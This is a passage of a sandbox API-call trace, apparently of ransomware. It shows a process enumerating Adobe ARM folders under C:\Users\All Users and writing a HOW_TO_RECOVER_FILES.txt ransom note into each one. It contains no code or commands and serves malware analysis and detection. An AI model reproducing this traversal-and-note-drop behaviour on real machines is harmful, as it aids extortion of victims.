ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.790] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0130.790] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25fe0337, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.790] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.791] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0130.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0130.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0130.791] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe", lpFilePart=0x0) returned 0x18 [0130.791] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.791] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.791] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0130.791] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25fe0337, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.792] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25fe0337, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0130.792] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0130.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0130.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0130.792] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM", lpFilePart=0x0) returned 0x1c [0130.792] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.793] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.793] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25fe0337, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.793] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.007.20033", cAlternateFileName="READER~1.200")) returned 1 [0130.793] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1 [0130.793] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 1 [0130.793] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 0 [0130.794] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0130.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0130.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0130.794] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM", lpFilePart=0x0) returned 0x1c [0130.794] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.794] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.794] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25fe0337, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.794] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.007.20033", cAlternateFileName="READER~1.200")) returned 1 [0130.795] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1 [0130.795] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 1 [0130.795] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.795] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0130.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0130.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0130.795] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033", lpFilePart=0x0) returned 0x30 [0130.796] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.796] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.797] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25fe0337, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.797] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.797] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0130.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0130.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0130.797] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033", lpFilePart=0x0) returned 0x30 [0130.797] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.797] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.798] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25fe0337, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.798] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25fe0337, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0130.798] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0130.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0130.798] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0130.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0130.798] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_15.007.20033\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0130.799] GetFileType (hFile=0x630) returned 0x1 [0130.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0130.799] GetFileType (hFile=0x630) returned 0x1 [0130.800] WriteFile (in: hFile=0x630, lpBuffer=0x3785c20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3785c20*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0130.801] CloseHandle (hObject=0x630) returned 1 [0130.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0130.801] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070", lpFilePart=0x0) returned 0x30 [0130.801] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.801] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.801] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25fe0337, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.802] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.802] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0130.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0130.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0130.802] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070", lpFilePart=0x0) returned 0x30 [0130.802] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.802] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, 